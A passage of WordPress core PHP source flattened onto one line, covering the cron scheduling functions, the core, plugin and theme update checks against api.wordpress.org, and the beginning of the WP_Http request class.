wp_clear_scheduled_hook( $hook, $args = array() ) { // Backward compatibility // Previously this function took the arguments as discrete vars rather than an array like the rest of the API if ( !is_array($args) ) { _deprecated_argument( __FUNCTION__, '3.0', __('This argument has changed to an array to match the behavior of the other cron functions.') ); $args = array_slice( func_get_args(), 1 ); } // This logic duplicates wp_next_scheduled() // It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing, // and, wp_next_scheduled() returns the same schedule in an infinite loop. $crons = _get_cron_array(); if ( empty( $crons ) ) return; $key = md5( serialize( $args ) ); foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[ $hook ][ $key ] ) ) { wp_unschedule_event( $timestamp, $hook, $args ); } } } /** * Retrieve the next timestamp for a cron event. * * @since 2.1.0 * * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return bool|int The UNIX timestamp of the next time the scheduled event will occur. */ function wp_next_scheduled( $hook, $args = array() ) { $crons = _get_cron_array(); $key = md5(serialize($args)); if ( empty($crons) ) return false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[$hook][$key] ) ) return $timestamp; } return false; } /** * Send request to run cron through HTTP request that doesn't halt page loading. * * @since 2.1.0 * * @return null Cron could not be spawned, because it is not needed to run. */ function spawn_cron( $gmt_time = 0 ) { if ( ! $gmt_time ) $gmt_time = microtime( true ); if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) ) return; /* * multiple processes on multiple web servers can run this code concurrently * try to make this as atomic as possible by setting doing_cron switch */ $lock = get_transient('doing_cron'); if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS ) $lock = 0; // don't run if another process is currently running it or more than once every 60 sec. if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time ) return; //sanity check $crons = _get_cron_array(); if ( !is_array($crons) ) return; $keys = array_keys( $crons ); if ( isset($keys[0]) && $keys[0] > $gmt_time ) return; if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { if ( ! empty( $_POST ) || defined( 'DOING_AJAX' ) || defined( 'XMLRPC_REQUEST' ) ) { return; } $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); ob_start(); wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) ); echo ' '; // flush any buffers and send the headers while ( @ob_end_flush() ); flush(); WP_DEBUG ? include_once( ABSPATH . 'wp-cron.php' ) : @include_once( ABSPATH . 'wp-cron.php' ); return; } $doing_wp_cron = sprintf( '%.22F', $gmt_time ); set_transient( 'doing_cron', $doing_wp_cron ); /** * Filter the cron request arguments. * * @since 3.5.0 * * @param array $cron_request_array { * An array of cron request URL arguments. * * @type string $url The cron request URL. * @type int $key The 22 digit GMT microtime. * @type array $args { * An array of cron request arguments. * * @type int $timeout The request timeout in seconds. Default .01 seconds. * @type bool $blocking Whether to set blocking for the request. Default false. * @type bool $sslverify Whether SSL should be verified for the request. Default false. * } * } */ $cron_request = apply_filters( 'cron_request', array( 'url' => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 0.01, 'blocking' => false, /** This filter is documented in wp-includes/class-http.php */ 'sslverify' => apply_filters( 'https_local_ssl_verify', false ) ) ) ); wp_remote_post( $cron_request['url'], $cron_request['args'] ); } /** * Run scheduled callbacks or spawn cron for all scheduled events. * * @since 2.1.0 * * @return null When doesn't need to run Cron. */ function wp_cron() { // Prevent infinite loops caused by lack of wp-cron.php if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) ) return; if ( false === $crons = _get_cron_array() ) return; $gmt_time = microtime( true ); $keys = array_keys( $crons ); if ( isset($keys[0]) && $keys[0] > $gmt_time ) return; $schedules = wp_get_schedules(); foreach ( $crons as $timestamp => $cronhooks ) { if ( $timestamp > $gmt_time ) break; foreach ( (array) $cronhooks as $hook => $args ) { if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) ) continue; spawn_cron( $gmt_time ); break 2; } } } /** * Retrieve supported and filtered Cron recurrences. * * The supported recurrences are 'hourly' and 'daily'. A plugin may add more by * hooking into the 'cron_schedules' filter. The filter accepts an array of * arrays. The outer array has a key that is the name of the schedule or for * example 'weekly'. The value is an array with two keys, one is 'interval' and * the other is 'display'. * * The 'interval' is a number in seconds of when the cron job should run. So for * 'hourly', the time is 3600 or 60*60. For weekly, the value would be * 60*60*24*7 or 604800. The value of 'interval' would then be 604800. * * The 'display' is the description. For the 'weekly' key, the 'display' would * be `__( 'Once Weekly' )`. * * For your plugin, you will be passed an array. you can easily add your * schedule by doing the following. * * // Filter parameter variable name is 'array'. * $array['weekly'] = array( * 'interval' => 604800, * 'display' => __( 'Once Weekly' ) * ); * * * @since 2.1.0 * * @return array */ function wp_get_schedules() { $schedules = array( 'hourly' => array( 'interval' => HOUR_IN_SECONDS, 'display' => __( 'Once Hourly' ) ), 'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ) ), 'daily' => array( 'interval' => DAY_IN_SECONDS, 'display' => __( 'Once Daily' ) ), ); /** * Filter the non-default cron schedules. * * @since 2.1.0 * * @param array $new_schedules An array of non-default cron schedules. Default empty. */ return array_merge( apply_filters( 'cron_schedules', array() ), $schedules ); } /** * Retrieve Cron schedule for hook with arguments. * * @since 2.1.0 * * @param string $hook Action hook to execute when cron is run. * @param array $args Optional. Arguments to pass to the hook's callback function. * @return string|bool False, if no schedule. Schedule on success. */ function wp_get_schedule($hook, $args = array()) { $crons = _get_cron_array(); $key = md5(serialize($args)); if ( empty($crons) ) return false; foreach ( $crons as $timestamp => $cron ) { if ( isset( $cron[$hook][$key] ) ) return $cron[$hook][$key]['schedule']; } return false; } // // Private functions // /** * Retrieve cron info array option. * * @since 2.1.0 * @access private * * @return array CRON info array. */ function _get_cron_array() { $cron = get_option('cron'); if ( ! is_array($cron) ) return false; if ( !isset($cron['version']) ) $cron = _upgrade_cron_array($cron); unset($cron['version']); return $cron; } /** * Updates the CRON option with the new CRON array. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from {@link _get_cron_array()}. */ function _set_cron_array($cron) { $cron['version'] = 2; update_option( 'cron', $cron ); } /** * Upgrade a Cron info array. * * This function upgrades the Cron info array to version 2. * * @since 2.1.0 * @access private * * @param array $cron Cron info array from {@link _get_cron_array()}. * @return array An upgraded Cron info array. */ function _upgrade_cron_array($cron) { if ( isset($cron['version']) && 2 == $cron['version']) return $cron; $new_cron = array(); foreach ( (array) $cron as $timestamp => $hooks) { foreach ( (array) $hooks as $hook => $args ) { $key = md5(serialize($args['args'])); $new_cron[$timestamp][$hook][$key] = $args; } } $new_cron['version'] = 2; update_option( 'cron', $new_cron ); return $new_cron; } /** * A simple set of functions to check our version 1.0 update service. * * @package WordPress * @since 2.3.0 */ /** * Check WordPress version against the newest version. * * The WordPress version, PHP version, and Locale is sent. Checks against the * WordPress server at api.wordpress.org server. Will only check if WordPress * isn't installing. * * @since 2.3.0 * @uses $wp_version Used to check against the newest WordPress version. * * @param array $extra_stats Extra statistics to report to the WordPress.org API. * @param bool $force_check Whether to bypass the transient cache and force a fresh update check. Defaults to false, true if $extra_stats is set. * @return null|false Returns null if update is unsupported. Returns false if check is too soon. */ function wp_version_check( $extra_stats = array(), $force_check = false ) { if ( defined('WP_INSTALLING') ) return; global $wpdb, $wp_local_package; include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version $php_version = phpversion(); $current = get_site_transient( 'update_core' ); $translations = wp_get_installed_translations( 'core' ); // Invalidate the transient when $wp_version changes if ( is_object( $current ) && $wp_version != $current->version_checked ) $current = false; if ( ! is_object($current) ) { $current = new stdClass; $current->updates = array(); $current->version_checked = $wp_version; } if ( ! empty( $extra_stats ) ) $force_check = true; // Wait 60 seconds between multiple version check requests $timeout = 60; $time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked ); if ( ! $force_check && $time_not_changed ) return false; $locale = get_locale(); /** * Filter the locale requested for WordPress core translations. * * @since 2.8.0 * * @param string $locale Current locale. */ $locale = apply_filters( 'core_version_check_locale', $locale ); // Update last_checked for current to prevent multiple blocking requests if request hangs $current->last_checked = time(); set_site_transient( 'update_core', $current ); if ( method_exists( $wpdb, 'db_version' ) ) $mysql_version = preg_replace('/[^0-9.].*/', '', $wpdb->db_version()); else $mysql_version = 'N/A'; if ( is_multisite() ) { $user_count = get_user_count(); $num_blogs = get_blog_count(); $wp_install = network_site_url(); $multisite_enabled = 1; } else { $user_count = count_users(); $user_count = $user_count['total_users']; $multisite_enabled = 0; $num_blogs = 1; $wp_install = home_url( '/' ); } $query = array( 'version' => $wp_version, 'php' => $php_version, 'locale' => $locale, 'mysql' => $mysql_version, 'local_package' => isset( $wp_local_package ) ? $wp_local_package : '', 'blogs' => $num_blogs, 'users' => $user_count, 'multisite_enabled' => $multisite_enabled, ); $post_body = array( 'translations' => wp_json_encode( $translations ), ); if ( is_array( $extra_stats ) ) $post_body = array_merge( $post_body, $extra_stats ); $url = $http_url = 'http://api.wordpress.org/core/version-check/1.7/?' . http_build_query( $query, null, '&' ); if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $options = array( 'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ), 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ), 'headers' => array( 'wp_install' => $wp_install, 'wp_blog' => home_url( '/' ) ), 'body' => $post_body, ); $response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $response ) ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) ) return false; $body = trim( wp_remote_retrieve_body( $response ) ); $body = json_decode( $body, true ); if ( ! is_array( $body ) || ! isset( $body['offers'] ) ) return false; $offers = $body['offers']; foreach ( $offers as &$offer ) { foreach ( $offer as $offer_key => $value ) { if ( 'packages' == $offer_key ) $offer['packages'] = (object) array_intersect_key( array_map( 'esc_url', $offer['packages'] ), array_fill_keys( array( 'full', 'no_content', 'new_bundled', 'partial', 'rollback' ), '' ) ); elseif ( 'download' == $offer_key ) $offer['download'] = esc_url( $value ); else $offer[ $offer_key ] = esc_html( $value ); } $offer = (object) array_intersect_key( $offer, array_fill_keys( array( 'response', 'download', 'locale', 'packages', 'current', 'version', 'php_version', 'mysql_version', 'new_bundled', 'partial_version', 'notify_email', 'support_email', 'new_files' ), '' ) ); } $updates = new stdClass(); $updates->updates = $offers; $updates->last_checked = time(); $updates->version_checked = $wp_version; if ( isset( $body['translations'] ) ) $updates->translations = $body['translations']; set_site_transient( 'update_core', $updates ); if ( ! empty( $body['ttl'] ) ) { $ttl = (int) $body['ttl']; if ( $ttl && ( time() + $ttl < wp_next_scheduled( 'wp_version_check' ) ) ) { // Queue an event to re-run the update check in $ttl seconds. wp_schedule_single_event( time() + $ttl, 'wp_version_check' ); } } // Trigger a background updates check if running non-interactively, and we weren't called from the update handler. if ( defined( 'DOING_CRON' ) && DOING_CRON && ! doing_action( 'wp_maybe_auto_update' ) ) { do_action( 'wp_maybe_auto_update' ); } } /** * Check plugin versions against the latest versions hosted on WordPress.org. * * The WordPress version, PHP version, and Locale is sent along with a list of * all plugins installed. Checks against the WordPress server at * api.wordpress.org. Will only check if WordPress isn't installing. * * @since 2.3.0 * @uses $wp_version Used to notify the WordPress version. * * @param array $extra_stats Extra statistics to report to the WordPress.org API. * @return false|null Returns null if update is unsupported. Returns false if check is too soon. */ function wp_update_plugins( $extra_stats = array() ) { include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version if ( defined('WP_INSTALLING') ) return false; // If running blog-side, bail unless we've not checked in the last 12 hours if ( !function_exists( 'get_plugins' ) ) require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); $plugins = get_plugins(); $translations = wp_get_installed_translations( 'plugins' ); $active = get_option( 'active_plugins', array() ); $current = get_site_transient( 'update_plugins' ); if ( ! is_object($current) ) $current = new stdClass; $new_option = new stdClass; $new_option->last_checked = time(); // Check for update on a different schedule, depending on the page. switch ( current_filter() ) { case 'upgrader_process_complete' : $timeout = 0; break; case 'load-update-core.php' : $timeout = MINUTE_IN_SECONDS; break; case 'load-plugins.php' : case 'load-update.php' : $timeout = HOUR_IN_SECONDS; break; default : if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $timeout = 0; } else { $timeout = 12 * HOUR_IN_SECONDS; } } $time_not_changed = isset( $current->last_checked ) && $timeout > ( time() - $current->last_checked ); if ( $time_not_changed && ! $extra_stats ) { $plugin_changed = false; foreach ( $plugins as $file => $p ) { $new_option->checked[ $file ] = $p['Version']; if ( !isset( $current->checked[ $file ] ) || strval($current->checked[ $file ]) !== strval($p['Version']) ) $plugin_changed = true; } if ( isset ( $current->response ) && is_array( $current->response ) ) { foreach ( $current->response as $plugin_file => $update_details ) { if ( ! isset($plugins[ $plugin_file ]) ) { $plugin_changed = true; break; } } } // Bail if we've checked recently and if nothing has changed if ( ! $plugin_changed ) return false; } // Update last_checked for current to prevent multiple blocking requests if request hangs $current->last_checked = time(); set_site_transient( 'update_plugins', $current ); $to_send = compact( 'plugins', 'active' ); $locales = array( get_locale() ); /** * Filter the locales requested for plugin translations. * * @since 3.7.0 * * @param array $locales Plugin locale. Default is current locale of the site. */ $locales = apply_filters( 'plugins_update_check_locales', $locales ); if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $timeout = 30; } else { // Three seconds, plus one extra second for every 10 plugins $timeout = 3 + (int) ( count( $plugins ) / 10 ); } $options = array( 'timeout' => $timeout, 'body' => array( 'plugins' => wp_json_encode( $to_send ), 'translations' => wp_json_encode( $translations ), 'locale' => wp_json_encode( $locales ), 'all' => wp_json_encode( true ), ), 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) ); if ( $extra_stats ) { $options['body']['update_stats'] = wp_json_encode( $extra_stats ); } $url = $http_url = 'http://api.wordpress.org/plugins/update-check/1.1/'; if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $raw_response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $raw_response ) ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $raw_response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) return false; $response = json_decode( wp_remote_retrieve_body( $raw_response ), true ); foreach ( $response['plugins'] as &$plugin ) { $plugin = (object) $plugin; } unset( $plugin ); foreach ( $response['no_update'] as &$plugin ) { $plugin = (object) $plugin; } unset( $plugin ); if ( is_array( $response ) ) { $new_option->response = $response['plugins']; $new_option->translations = $response['translations']; // TODO: Perhaps better to store no_update in a separate transient with an expiry? $new_option->no_update = $response['no_update']; } else { $new_option->response = array(); $new_option->translations = array(); $new_option->no_update = array(); } set_site_transient( 'update_plugins', $new_option ); } /** * Check theme versions against the latest versions hosted on WordPress.org. * * A list of all themes installed in sent to WP. Checks against the * WordPress server at api.wordpress.org. Will only check if WordPress isn't * installing. * * @since 2.7.0 * @uses $wp_version Used to notify the WordPress version. * * @param array $extra_stats Extra statistics to report to the WordPress.org API. * @return false|null Returns null if update is unsupported. Returns false if check is too soon. */ function wp_update_themes( $extra_stats = array() ) { include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version if ( defined( 'WP_INSTALLING' ) ) return false; $installed_themes = wp_get_themes(); $translations = wp_get_installed_translations( 'themes' ); $last_update = get_site_transient( 'update_themes' ); if ( ! is_object($last_update) ) $last_update = new stdClass; $themes = $checked = $request = array(); // Put slug of current theme into request. $request['active'] = get_option( 'stylesheet' ); foreach ( $installed_themes as $theme ) { $checked[ $theme->get_stylesheet() ] = $theme->get('Version'); $themes[ $theme->get_stylesheet() ] = array( 'Name' => $theme->get('Name'), 'Title' => $theme->get('Name'), 'Version' => $theme->get('Version'), 'Author' => $theme->get('Author'), 'Author URI' => $theme->get('AuthorURI'), 'Template' => $theme->get_template(), 'Stylesheet' => $theme->get_stylesheet(), ); } // Check for update on a different schedule, depending on the page. switch ( current_filter() ) { case 'upgrader_process_complete' : $timeout = 0; break; case 'load-update-core.php' : $timeout = MINUTE_IN_SECONDS; break; case 'load-themes.php' : case 'load-update.php' : $timeout = HOUR_IN_SECONDS; break; default : if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $timeout = 0; } else { $timeout = 12 * HOUR_IN_SECONDS; } } $time_not_changed = isset( $last_update->last_checked ) && $timeout > ( time() - $last_update->last_checked ); if ( $time_not_changed && ! $extra_stats ) { $theme_changed = false; foreach ( $checked as $slug => $v ) { if ( !isset( $last_update->checked[ $slug ] ) || strval($last_update->checked[ $slug ]) !== strval($v) ) $theme_changed = true; } if ( isset ( $last_update->response ) && is_array( $last_update->response ) ) { foreach ( $last_update->response as $slug => $update_details ) { if ( ! isset($checked[ $slug ]) ) { $theme_changed = true; break; } } } // Bail if we've checked recently and if nothing has changed if ( ! $theme_changed ) return false; } // Update last_checked for current to prevent multiple blocking requests if request hangs $last_update->last_checked = time(); set_site_transient( 'update_themes', $last_update ); $request['themes'] = $themes; $locales = array( get_locale() ); /** * Filter the locales requested for theme translations. * * @since 3.7.0 * * @param array $locales Theme locale. Default is current locale of the site. */ $locales = apply_filters( 'themes_update_check_locales', $locales ); if ( defined( 'DOING_CRON' ) && DOING_CRON ) { $timeout = 30; } else { // Three seconds, plus one extra second for every 10 themes $timeout = 3 + (int) ( count( $themes ) / 10 ); } $options = array( 'timeout' => $timeout, 'body' => array( 'themes' => wp_json_encode( $request ), 'translations' => wp_json_encode( $translations ), 'locale' => wp_json_encode( $locales ), ), 'user-agent' => 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) ); if ( $extra_stats ) { $options['body']['update_stats'] = wp_json_encode( $extra_stats ); } $url = $http_url = 'http://api.wordpress.org/themes/update-check/1.1/'; if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) $url = set_url_scheme( $url, 'https' ); $raw_response = wp_remote_post( $url, $options ); if ( $ssl && is_wp_error( $raw_response ) ) { trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE ); $raw_response = wp_remote_post( $http_url, $options ); } if ( is_wp_error( $raw_response ) || 200 != wp_remote_retrieve_response_code( $raw_response ) ) return false; $new_update = new stdClass; $new_update->last_checked = time(); $new_update->checked = $checked; $response = json_decode( wp_remote_retrieve_body( $raw_response ), true ); if ( is_array( $response ) ) { $new_update->response = $response['themes']; $new_update->translations = $response['translations']; } set_site_transient( 'update_themes', $new_update ); } /** * Performs WordPress automatic background updates. * * @since 3.7.0 */ function wp_maybe_auto_update() { include_once( ABSPATH . '/wp-admin/includes/admin.php' ); include_once( ABSPATH . '/wp-admin/includes/class-wp-upgrader.php' ); $upgrader = new WP_Automatic_Updater; $upgrader->run(); } /** * Retrieves a list of all language updates available. * * @since 3.7.0 */ function wp_get_translation_updates() { $updates = array(); $transients = array( 'update_core' => 'core', 'update_plugins' => 'plugin', 'update_themes' => 'theme' ); foreach ( $transients as $transient => $type ) { $transient = get_site_transient( $transient ); if ( empty( $transient->translations ) ) continue; foreach ( $transient->translations as $translation ) { $updates[] = (object) $translation; } } return $updates; } /** * Collect counts and UI strings for available updates * * @since 3.3.0 * * @return array */ function wp_get_update_data() { $counts = array( 'plugins' => 0, 'themes' => 0, 'wordpress' => 0, 'translations' => 0 ); if ( $plugins = current_user_can( 'update_plugins' ) ) { $update_plugins = get_site_transient( 'update_plugins' ); if ( ! empty( $update_plugins->response ) ) $counts['plugins'] = count( $update_plugins->response ); } if ( $themes = current_user_can( 'update_themes' ) ) { $update_themes = get_site_transient( 'update_themes' ); if ( ! empty( $update_themes->response ) ) $counts['themes'] = count( $update_themes->response ); } if ( ( $core = current_user_can( 'update_core' ) ) && function_exists( 'get_core_updates' ) ) { $update_wordpress = get_core_updates( array('dismissed' => false) ); if ( ! empty( $update_wordpress ) && ! in_array( $update_wordpress[0]->response, array('development', 'latest') ) && current_user_can('update_core') ) $counts['wordpress'] = 1; } if ( ( $core || $plugins || $themes ) && wp_get_translation_updates() ) $counts['translations'] = 1; $counts['total'] = $counts['plugins'] + $counts['themes'] + $counts['wordpress'] + $counts['translations']; $titles = array(); if ( $counts['wordpress'] ) $titles['wordpress'] = sprintf( __( '%d WordPress Update'), $counts['wordpress'] ); if ( $counts['plugins'] ) $titles['plugins'] = sprintf( _n( '%d Plugin Update', '%d Plugin Updates', $counts['plugins'] ), $counts['plugins'] ); if ( $counts['themes'] ) $titles['themes'] = sprintf( _n( '%d Theme Update', '%d Theme Updates', $counts['themes'] ), $counts['themes'] ); if ( $counts['translations'] ) $titles['translations'] = __( 'Translation Updates' ); $update_title = $titles ? esc_attr( implode( ', ', $titles ) ) : ''; $update_data = array( 'counts' => $counts, 'title' => $update_title ); /** * Filter the returned array of update data for plugins, themes, and WordPress core. * * @since 3.5.0 * * @param array $update_data { * Fetched update data. * * @type array $counts An array of counts for available plugin, theme, and WordPress updates. * @type string $update_title Titles of available updates. * } * @param array $titles An array of update counts and UI strings for available updates. */ return apply_filters( 'wp_get_update_data', $update_data, $titles ); } function _maybe_update_core() { include( ABSPATH . WPINC . '/version.php' ); // include an unmodified $wp_version $current = get_site_transient( 'update_core' ); if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) && isset( $current->version_checked ) && $current->version_checked == $wp_version ) return; wp_version_check(); } /** * Check the last time plugins were run before checking plugin versions. * * This might have been backported to WordPress 2.6.1 for performance reasons. * This is used for the wp-admin to check only so often instead of every page * load. * * @since 2.7.0 * @access private */ function _maybe_update_plugins() { $current = get_site_transient( 'update_plugins' ); if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) ) return; wp_update_plugins(); } /** * Check themes versions only after a duration of time. * * This is for performance reasons to make sure that on the theme version * checker is not run on every page load. * * @since 2.7.0 * @access private */ function _maybe_update_themes() { $current = get_site_transient( 'update_themes' ); if ( isset( $current->last_checked ) && 12 * HOUR_IN_SECONDS > ( time() - $current->last_checked ) ) return; wp_update_themes(); } /** * Schedule core, theme, and plugin update checks. * * @since 3.1.0 */ function wp_schedule_update_checks() { if ( !wp_next_scheduled('wp_version_check') && !defined('WP_INSTALLING') ) wp_schedule_event(time(), 'twicedaily', 'wp_version_check'); if ( !wp_next_scheduled('wp_update_plugins') && !defined('WP_INSTALLING') ) wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins'); if ( !wp_next_scheduled('wp_update_themes') && !defined('WP_INSTALLING') ) wp_schedule_event(time(), 'twicedaily', 'wp_update_themes'); if ( ( wp_next_scheduled( 'wp_maybe_auto_update' ) > ( time() + HOUR_IN_SECONDS ) ) && ! defined('WP_INSTALLING') ) wp_clear_scheduled_hook( 'wp_maybe_auto_update' ); } /** * Clear existing update caches for plugins, themes, and core. * * @since 4.1.0 */ function wp_clean_update_cache() { if ( function_exists( 'wp_clean_plugins_cache' ) ) { wp_clean_plugins_cache(); } else { delete_site_transient( 'update_plugins' ); } wp_clean_plugins_cache(); wp_clean_themes_cache(); delete_site_transient( 'update_core' ); } if ( ( ! is_main_site() && ! is_network_admin() ) || ( defined( 'DOING_AJAX' ) && DOING_AJAX ) ) { return; } add_action( 'admin_init', '_maybe_update_core' ); add_action( 'wp_version_check', 'wp_version_check' ); add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 ); add_action( 'load-plugins.php', 'wp_update_plugins' ); add_action( 'load-update.php', 'wp_update_plugins' ); add_action( 'load-update-core.php', 'wp_update_plugins' ); add_action( 'admin_init', '_maybe_update_plugins' ); add_action( 'wp_update_plugins', 'wp_update_plugins' ); add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 ); add_action( 'load-themes.php', 'wp_update_themes' ); add_action( 'load-update.php', 'wp_update_themes' ); add_action( 'load-update-core.php', 'wp_update_themes' ); add_action( 'admin_init', '_maybe_update_themes' ); add_action( 'wp_update_themes', 'wp_update_themes' ); add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 ); add_action( 'update_option_WPLANG', 'wp_clean_update_cache' , 10, 0 ); add_action( 'wp_maybe_auto_update', 'wp_maybe_auto_update' ); add_action('init', 'wp_schedule_update_checks'); /** * Simple and uniform HTTP request API. * * Standardizes the HTTP requests for WordPress. Handles cookies, gzip encoding and decoding, chunk * decoding, if HTTP 1.1 and various other difficult HTTP protocol implementations. * * @link https://core.trac.wordpress.org/ticket/4779 HTTP API Proposal * * @package WordPress * @subpackage HTTP * @since 2.7.0 */ /** * WordPress HTTP Class for managing HTTP Transports and making HTTP requests. * * This class is used to consistently make outgoing HTTP requests easy for developers * while still being compatible with the many PHP configurations under which * WordPress runs. * * Debugging includes several actions, which pass different variables for debugging the HTTP API. * * @package WordPress * @subpackage HTTP * @since 2.7.0 */ class WP_Http { /** * Send an HTTP request to a URI. * * Please note: The only URI that are supported in the HTTP Transport implementation * are the HTTP and HTTPS protocols. * * @access public * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args { * Optional. Array or string of HTTP request arguments. * * @type string $method Request method. Accepts 'GET', 'POST', 'HEAD', or 'PUT'. * Some transports technically allow others, but should not be * assumed. Default 'GET'. * @type int $timeout How long the connection should stay open in seconds. Default 5. * @type int $redirection Number of allowed redirects. Not supported by all transports * Default 5. * @type string $httpversion Version of the HTTP protocol to use. Accepts '1.0' and '1.1'. * Default '1.0'. * @type string $user-agent User-agent value sent. * Default WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ). * @type bool $reject_unsafe_urls Whether to pass URLs through {@see wp_http_validate_url()}. * Default false. * @type bool $blocking Whether the calling code requires the result of the request. * If set to false, the request will be sent to the remote server, * and processing returned to the calling code immediately, the caller * will know if the request succeeded or failed, but will not receive * any response from the remote server. Default true. * @type string|array $headers Array or string of headers to send with the request. * Default empty array. * @type array $cookies List of cookies to send with the request. Default empty array. * @type string|array $body Body to send with the request. Default null. * @type bool $compress Whether to compress the $body when sending the request. * Default false. * @type bool $decompress Whether to decompress a compressed response. If set to false and * compressed content is returned in the response anyway, it will * need to be separately decompressed. Default true. * @type bool $sslverify Whether to verify SSL for the request. Default true. * @type string sslcertificates Absolute path to an SSL certificate .crt file. * Default ABSPATH . WPINC . '/certificates/ca-bundle.crt'. * @type bool $stream Whether to stream to a file. If set to true and no filename was * given, it will be droped it in the WP temp dir and its name will * be set using the basename of the URL. Default false. * @type string $filename Filename of the file to write to when streaming. $stream must be * set to true. Default null. * @type int $limit_response_size Size in bytes to limit the response to. Default null. * * } * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. * A WP_Error instance upon error. */ public function request( $url, $args = array() ) { global $wp_version; $defaults = array( 'method' => 'GET', /** * Filter the timeout value for an HTTP request. * * @since 2.7.0 * * @param int $timeout_value Time in seconds until a request times out. * Default 5. */ 'timeout' => apply_filters( 'http_request_timeout', 5 ), /** * Filter the number of redirects allowed during an HTTP request. * * @since 2.7.0 * * @param int $redirect_count Number of redirects allowed. Default 5. */ 'redirection' => apply_filters( 'http_request_redirection_count', 5 ), /** * Filter the version of the HTTP protocol used in a request. * * @since 2.7.0 * * @param string $version Version of HTTP used. Accepts '1.0' and '1.1'. * Default '1.0'. */ 'httpversion' => apply_filters( 'http_request_version', '1.0' ), /** * Filter the user agent value sent with an HTTP request. * * @since 2.7.0 * * @param string $user_agent WordPress user agent string. */ 'user-agent' => apply_filters( 'http_headers_useragent', 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' ) ), /** * Filter whether to pass URLs through wp_http_validate_url() in an HTTP request. * * @since 3.6.0 * * @param bool $pass_url Whether to pass URLs through wp_http_validate_url(). * Default false. */ 'reject_unsafe_urls' => apply_filters( 'http_request_reject_unsafe_urls', false ), 'blocking' => true, 'headers' => array(), 'cookies' => array(), 'body' => null, 'compress' => false, 'decompress' => true, 'sslverify' => true, 'sslcertificates' => ABSPATH . WPINC . '/certificates/ca-bundle.crt', 'stream' => false, 'filename' => null, 'limit_response_size' => null, ); // Pre-parse for the HEAD checks. $args = wp_parse_args( $args ); // By default, Head requests do not cause redirections. if ( isset($args['method']) && 'HEAD' == $args['method'] ) $defaults['redirection'] = 0; $r = wp_parse_args( $args, $defaults ); /** * Filter the arguments used in an HTTP request. * * @since 2.7.0 * * @param array $r An array of HTTP request arguments. * @param string $url The request URL. */ $r = apply_filters( 'http_request_args', $r, $url ); // The transports decrement this, store a copy of the original value for loop purposes. if ( ! isset( $r['_redirection'] ) ) $r['_redirection'] = $r['redirection']; /** * Filter whether to preempt an HTTP request's return. * * Returning a truthy value to the filter will short-circuit * the HTTP request and return early with that value. * * @since 2.9.0 * * @param bool $preempt Whether to preempt an HTTP request return. Default false. * @param array $r HTTP request 